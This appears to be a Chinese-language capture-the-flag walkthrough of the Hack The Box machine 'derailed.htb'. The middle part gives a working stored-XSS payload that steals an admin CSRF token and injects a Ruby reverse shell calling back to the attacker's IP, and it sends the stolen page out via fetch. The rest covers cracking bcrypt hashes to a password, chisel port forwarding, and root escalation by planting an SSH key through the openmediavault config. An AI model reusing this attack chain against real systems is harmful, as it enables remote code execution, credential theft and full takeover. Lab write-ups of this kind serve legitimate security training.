开放的端口:
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 16:23:b0:9a:de:0e:34:92:cb:2b:18:17:0f:f2:7b:1a (RSA)
| 256 50:44:5e:88:6b:3e:4b:5b:f9:34:1d:ed:e5:2d:91:df (ECDSA)
|_ 256 0a:bd:92:23:df:44:02:6f:27:8d:a6:ab:b4:07:78:37 (ED25519)
3000/tcp open http nginx 1.18.0
|_http-title: derailed.htb
|_http-server-header: nginx/1.18.0
存在的目录/文件
/administration (Status: 302) [Size: 96] [--> http://derailed.htb:3000/login]
/logout (Status: 302) [Size: 91] [--> http://derailed.htb:3000/]
/login (Status: 200) [Size: 5592]
/register (Status: 200) [Size: 5908]
从特殊途径得知,3000端口使用了ruby-rail的web框架,还存在以下路径:
rails/info/properties
rails/info/routes
整个网站的提供的服务大概如下:
创建笔记->查看笔记->举报笔记->admin查看被举报的笔记。
在上述的流程中,但凡admin查看被举报的笔记中存在XSS内容,我们就可以让它执行其它的操作。
为了缩减文章篇幅,我只记录最终的渗透步骤:
第一步,创建一个笔记,得到一个笔记链接:
function getMiddleText(content,leftStr,rightStr){
var startIndex = content.indexOf(leftStr)+leftStr.length;
var endIndex = content.indexOf(rightStr);
return content.substr(startIndex,endIndex-startIndex);
}
fetch(`http://derailed.htb:3000/administration`)
.then((rep)=>{return rep.text()})
.then((content)=>{
let token = getMiddleText(content,`authenticity_token" value="`,`" autocomplete=`);
fetch("http://derailed.htb:3000/administration/reports", {
"headers": {
"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"content-type": "application/x-www-form-urlencoded",
},
"referrer": "http://derailed.htb:3000/administration",
"referrerPolicy": "strict-origin-when-cross-origin",
"body": `authenticity_token=${token}&report_log=|ruby+-rsocket+-e'spawn("sh",[:in,:out,:err]=>TCPSocket.new(<your ip>,4444))'`,
"method": "POST",
"mode": "cors",
}).then((rep=>{
return rep.text();
})).then((text)=>{
fetch("http://<your ip>/data/"+btoa(text));
});
})
第二步,注册用户,用户名为:
uOwn3LyfqH284ap_StS0bIcqAl3v7qMM0SZAxiwBrP9oHDBS<img src='1.jpg' onerror='fetch(`http://derailed.htb:3000/clipnotes/raw/${id}`).then((rep)=>{return rep.json()}).then((content)=>{console.log(content);eval(content["content"])});'>
第三步,以该用户登录,创建一条新笔记,然后举报该笔记。
第四步,监听4444端口,等待shell反弹,get shell。
拿到shell之后,我们发现rails用户属于ssh用户组,因此,我们可以写一个公钥进authorized_keys里。
在/var/www/rails-app/db/目录下存在一个sqlite的数据库development.sqlite3,在users表里发现有alice和toty用户,其密码的哈希如下:
1|alice|$2a$12$hkqXQw6n0CxwBxEW/0obHOb.0/Grwie/4z95W3BhoFqpQRKIAxI7.|administrator|2022-05-30 18:02:45.319074|2022-05-30 18:02:45.319074
2|toby|$2a$12$AD54WZ4XBxPbNW/5gWUIKu0Hpv9UKN5RML3sDLuIqNqqimqnZYyle|user|2022-05-30 18:02:45.542476|2022-05-30 18:02:45.542476
通过john进行哈希碰撞后得到密码:greenday
接下来,可以通过greenday密码横向移动至openmediavault-webgui用户。
接下来的提权就比较简单了,首先运行:/usr/sbin/omv-firstaid
,可以重置openmediavault中web console密码。
然后,通过chisel工具,将80端口转发至本地:
# 本机
./chisel server -p 8001 --reverse
#靶机
./chisel client 10.10.16.6:8001 R:10.10.16.6:8888:10.10.11.190:80
接下来,修改/etc/openmediavault/config.xml文件,找到uuid为e3f59fea-4be7-4695-b0d5-560f25072d4a的项目,将name改为root,sshpubkeys改为RFC 4716标准的公钥。(转换命令为:ssh-keygen -e -f id_rsa.pub)
<user>
<uuid>e3f59fea-4be7-4695-b0d5-560f25072d4a</uuid>
<name>root</name>
<email></email>
<disallowusermod>0</disallowusermod>
<sshpubkeys>
<sshpubkey>[RFC 4716标准的公钥]</sshpubkey>
</sshpubkeys>
</user>
最后,在web console页面修改ssh配置,提交,get root shell!